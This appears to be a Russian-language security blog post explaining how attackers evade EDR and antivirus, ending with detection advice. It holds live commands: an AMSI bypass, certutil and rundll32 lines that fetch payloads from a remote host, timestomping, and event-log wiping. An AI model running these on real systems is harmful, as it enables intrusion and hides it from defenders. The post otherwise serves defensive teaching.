Defense Evasion: как атакующий прячется от EDR и антивируса — 3 июля 2026 г. в 12:00:02.049
Defense Evasion: как атакующий прячется от EDR и антивируса 👋 Приветствую в мире цифровой безопасности! Сегодня расскажу про техники Defense Evasion - как атакующий скрывает свою активность от средств защиты уже после того как закрепился в системе. ⏺Defense Evasion - это не одна техника, а целый класс. Тут задача не выполнить действие тихо один раз, а сделать так чтобы весь дальнейший процесс не триггерил алерты. Без этого закрепление в системе бесполезно: EDR увидит подозрительный процесс через час и всё оборвёт. ⏺AMSI bypass - Windows Antimalware Scan Interface проверяет PowerShell-код перед выполнением. Атакующий патчит функцию проверки прямо в памяти: $a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $b = $a.GetField('amsiInitFailed','NonPublic,Static') $b.SetValue($null,$true) После этого любой вредоносный скрипт проходит без сканирования - AMSI думает, что инициализация провалилась и просто пропускает всё дальше. ⏺Process injection - вместо запуска нового подозрительного процесса код внедряется в уже доверенный: $proc = Get-Process -Name "explorer" # Дальше через WriteProcessMemory и CreateRemoteThread # внедряем shellcode в легитимный процесс Для мониторинга - это выглядит, как обычный explorer.exe, а не как новый неизвестный бинарь - большинство базовых правил детекта смотрят именно на имя и происхождение процесса. ⏺Timestomping - меняем метки времени файла, чтобы он не выделялся среди системных: # Linux touch -r /bin/ls malicious_file stat malicious_file # Windows через PowerShell (Get-Item file.exe).CreationTime = "01/15/2020 10:00:00" Форензика часто ищет файлы созданные в момент инцидента - timestomping ломает эту эвристику полностью. ⏺Living off the land - используем только легитимные системные утилиты вместо своих инструментов, тогда сигнатурный детект бессилен: # Скачивание файла через certutil вместо curl certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe # Выполнение через rundll32 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.0.0.1/script.sct") certutil и rundll32 подписаны Microsoft и есть на каждой Windows-машине - антивирус не может просто заблокировать их целиком. ⏺Log clearing - чистим или отключаем логирование там где были: wevtutil cl Security wevtutil cl System # Linux > /var/log/auth.log history -c ⏺Детектируется через поведенческий анализ а не сигнатуры: аномальная работа с памятью легитимных процессов, вызов certutil с параметром urlcache, массовая очистка логов сразу после подозрительной активности, несоответствие timestamp файла и записей в MFT. Sysmon Event ID 1 (создание процесса) и 10 (доступ к памяти процесса) - основа для детекта большинства этих техник. 🤖Бесплатный ChatGPT

